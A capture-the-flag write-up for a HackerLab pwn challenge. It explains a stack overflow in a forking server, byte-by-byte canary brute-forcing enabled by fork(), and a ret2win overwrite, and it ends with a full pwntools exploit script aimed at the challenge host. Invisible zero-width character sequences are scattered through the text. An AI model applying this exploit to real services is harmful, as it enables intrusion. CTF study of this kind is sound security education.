← Back to Writeups
CUSTOMMediumpwn

Канарейка (Canary)

XESXOR9/2/20263 min read
#pwn#custom#medium#canary_byte_bruteforce#fork_canary_reuse#return_address_overwrite#linux

Канарейка (Canary)

Platform: HackerLab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: canary_byte_bruteforce, fork_canary_reuse, return_address_overwrite

Summary

Category: PWN Difficulty: Medium (450 points)

Канарейка (Canary) — HackerLab

Description

Эта "птица" помогает в экстренной ситуации. Но иногда и её можно обойти.

(This "bird" helps in emergency situations. But sometimes it can be bypassed)

Category: PWN
Difficulty: Medium (450 points)

Analysis

Binary Information

ELF 64-bit LSB executable, x86-64

Protections

ProtectionStatus
Stack Canary✅ Enabled
NX✅ Enabled
PIE❌ Disabled (0x400000)
RELROPartial
StrippedNo
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Functions

  1. print_flg (0x4012e8) — reads the FLAG environment variable and sends it to the client
  2. hello (0x401329) — handles user input, contains the vulnerability

Vulnerability

In the hello function:

  • Buffer is located at rbp - 0x3f0 (1000 bytes)
  • recv() reads up to 0x400 (1024) bytes
  • Overflow of 24 bytes affects:
    • Canary (8 bytes)
    • Saved RBP (8 bytes)
    • Return address (8 bytes)

Key Feature: fork()

The server uses fork() to handle connections. This means:

  • Child process inherits canary from parent
  • Canary remains the same for all connections!
  • This allows byte-by-byte brute-force ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Canary Brute-force

Since the server uses fork(), the canary doesn't change between connections. This allows brute-forcing it byte by byte:

  1. First byte of canary is always 0x00 (protection against string functions)
  2. For bytes 1-7: send buffer + known_canary_bytes + test_byte
  3. If response contains "Have you already PWN me?" — byte is guessed correctly
  4. If canary is wrong — process crashes, connection closes

Maximum attempts: 256 × 7 = 1792 (average ~896)

Step 2: Building the Exploit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After obtaining the canary, build the final payload:

+------------------+
| "A" × 1000       |  <- Buffer padding
+------------------+
| canary (8 bytes) |  <- Recovered canary
+------------------+
| "B" × 8          |  <- Saved RBP (doesn't matter)
+------------------+
| 0x4012e8         |  <- print_flg address
+------------------+

Step 3: Getting the Flag

Send the payload, hello() function returns to print_flg(), which outputs the flag.

Exploit

python
#!/usr/bin/env python3
"""
Канарейка (Canary) — HackerLab CTF
Canary brute-force via fork() + ret2win
"""
from pwn import *
import time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST = "62.173.140.174"
PORT = 27500
PRINT_FLG = 0x4012e8    # Win function address
BUFFER_SIZE = 0x3e8     # 1000 bytes

def brute_canary():
    """Byte-by-byte canary brute-force via fork()"""
    canary = b"\x00"
    
    for i in range(1, 8):
        for byte in range(256):
            try:
                io = remote(HOST, PORT, timeout=3, level='error')
                io.recvuntil(b"Enter your name:")
                payload = b"A" * BUFFER_SIZE + canary + bytes([byte])
                io.send(payload)
                time.sleep(0.3)
                response = io.recvall(timeout=1)
                io.close()
                
                if b"Have you already PWN me?" in response:
                    canary += bytes([byte])
                    log.success(f"Found byte {i}: 0x{byte:02x}")
                    break
            except:
                pass
    return canary
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def exploit():
    canary = brute_canary()
    log.success(f"Canary: {canary.hex()}")
    
    payload = b"A" * BUFFER_SIZE + canary + b"B" * 8 + p64(PRINT_FLG)
    
    io = remote(HOST, PORT)
    io.recvuntil(b"Enter your name:")
    io.send(payload)
    response = io.recvall(timeout=3)
    print(response.decode(errors='ignore'))

if __name__ == "__main__":
    exploit()

Theory: Why Does This Work?

fork() and Inheritance

When fork() is called:

  • A copy of the process is created
  • Canary is copied without changes
  • Each new connection receives the same canary ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This transforms the task from "guess 2^56 values" to "guess 7 bytes with 256 variants each".

First Byte = 0x00

The first byte of canary is always 0x00 — protection against leakage through string functions.

References